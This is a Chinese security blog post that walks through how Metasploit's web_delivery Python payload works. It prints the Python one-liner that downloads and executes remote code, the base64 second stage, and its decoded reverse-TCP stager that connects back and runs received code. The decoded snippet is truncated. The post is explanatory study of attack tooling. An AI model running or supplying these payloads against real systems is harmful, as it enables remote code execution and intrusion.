當前位置:
首頁 > 最新 > 分析Metasploit中的web_delivery模塊python是如何建立通信的

分析Metasploit中的web_delivery模塊python是如何建立通信的

作者:Szrzvdny(即刻安全)

如需轉載請聯繫原作者,並註明來源!

攻擊機:Linux Kali

受害機:Windows 10

Prat 1

今天群里的一位老司機裝了一台公網的kali,我厚顏無恥的蹭了

然後測試反彈shell的時候發現彈不到shell(當時就映射了80),各種測發現都是坑QAQ

於是我就有了一個大膽的想法QAQ

Prat 2大膽的想法!

他的payload執行了什麼?

他的payload是怎麼來的?

首先配置一下web_delivery模塊,得到一個payload

他會得到一個payload

python -c "import sys; u=__import__( urllib +[sys.version_info[0]],fromlist=( urlopen ,));r=u.urlopen( http://127.0.0.1:8080/c0DklT82AcnaPH );exec(r.read());"

訪問這個http://127.0.0.1:8080/c0DklT82AcnaPH

發現他會下載一個文件,打開看看

import base64,sys;exec(base64.b64decode([sys.version_info[0]]( aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNzc3NykpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo= )))

發現有部分是base64編碼過的,解碼得到payload代碼

import socket,struct,timefor x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(( 127.0.0.1 ,7777)) break except: time.sleep(5)l=struct.unpack( >I ,s.recv(4))[0]d=s.recv(l)while len(d)

既然得到代碼,那麼我們可以嘗試下使用pyhton直接通過socket連接msf呢?測試一下

發現獲得了一個會話,那麼是可行的。

payload的由來

當然,我們需要理解他是如何得到這個payload的。

/usr/share/metasploit-framework/modules/payloads/singles/python目錄中可以看見他的模塊

我們看一下meterpreter_reverse_tcp這個模塊

ruby不是很懂,只能大概的理解一下意思,這段為生成payload的代碼

def generate_reverse_tcp(opts={}) socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
" socket_setup

在看一眼上面的代碼,就很明顯的明白了。

總結:

用一張圖片概括~

本文算是科普不喜勿噴~~~(還沒做擴展性操作)。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 即刻安全 的精彩文章:

製作一個隱藏在黑頁下的大馬並且添加後門

TAG:即刻安全 |